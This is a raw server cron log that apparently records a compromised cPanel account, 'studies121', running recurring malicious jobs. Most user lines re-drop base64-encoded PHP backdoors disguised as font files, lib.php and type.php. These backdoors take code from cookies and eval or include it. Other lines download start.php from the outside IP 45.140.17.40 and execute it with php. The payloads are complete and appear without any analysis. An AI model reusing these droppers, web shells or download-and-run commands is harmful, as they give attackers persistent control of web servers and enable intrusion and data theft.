Sep 10 18:04:01 ip-184-168-122-23 CROND[19327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:04:01 ip-184-168-122-23 CROND[19329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:04:01 ip-184-168-122-23 CROND[19330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:05:01 ip-184-168-122-23 CROND[19441]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:05:01 ip-184-168-122-23 CROND[19444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:06:01 ip-184-168-122-23 CROND[19565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:06:01 ip-184-168-122-23 CROND[19568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:06:01 ip-184-168-122-23 CROND[19569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:06:01 ip-184-168-122-23 CROND[19567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:06:01 ip-184-168-122-23 CROND[19570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:07:01 ip-184-168-122-23 CROND[19760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:07:01 ip-184-168-122-23 CROND[19761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:07:01 ip-184-168-122-23 CROND[19762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:07:01 ip-184-168-122-23 CROND[19763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:08:01 ip-184-168-122-23 CROND[19865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:08:01 ip-184-168-122-23 CROND[19867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:08:01 ip-184-168-122-23 CROND[19868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:08:01 ip-184-168-122-23 CROND[19869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:08:01 ip-184-168-122-23 CROND[19870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:09:01 ip-184-168-122-23 CROND[19964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:09:01 ip-184-168-122-23 CROND[19966]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 18:09:01 ip-184-168-122-23 CROND[19965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:09:01 ip-184-168-122-23 CROND[19969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:09:01 ip-184-168-122-23 CROND[19970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:10:01 ip-184-168-122-23 CROND[20069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:10:01 ip-184-168-122-23 CROND[20076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:10:01 ip-184-168-122-23 CROND[20082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:11:01 ip-184-168-122-23 CROND[20218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:11:01 ip-184-168-122-23 CROND[20219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:11:01 ip-184-168-122-23 CROND[20221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:11:01 ip-184-168-122-23 CROND[20220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:12:01 ip-184-168-122-23 CROND[20344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:12:01 ip-184-168-122-23 CROND[20343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:12:01 ip-184-168-122-23 CROND[20345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:12:01 ip-184-168-122-23 CROND[20346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:12:01 ip-184-168-122-23 CROND[20349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:13:02 ip-184-168-122-23 CROND[20588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:13:02 ip-184-168-122-23 CROND[20591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:13:02 ip-184-168-122-23 CROND[20590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:13:02 ip-184-168-122-23 CROND[20592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:14:01 ip-184-168-122-23 CROND[20688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:14:01 ip-184-168-122-23 CROND[20689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:14:01 ip-184-168-122-23 CROND[20693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:14:01 ip-184-168-122-23 CROND[20695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:14:01 ip-184-168-122-23 CROND[20692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:15:01 ip-184-168-122-23 CROND[20795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20799]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20802]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 18:15:01 ip-184-168-122-23 CROND[20804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:16:01 ip-184-168-122-23 CROND[20963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:16:01 ip-184-168-122-23 CROND[20965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:16:01 ip-184-168-122-23 CROND[20966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
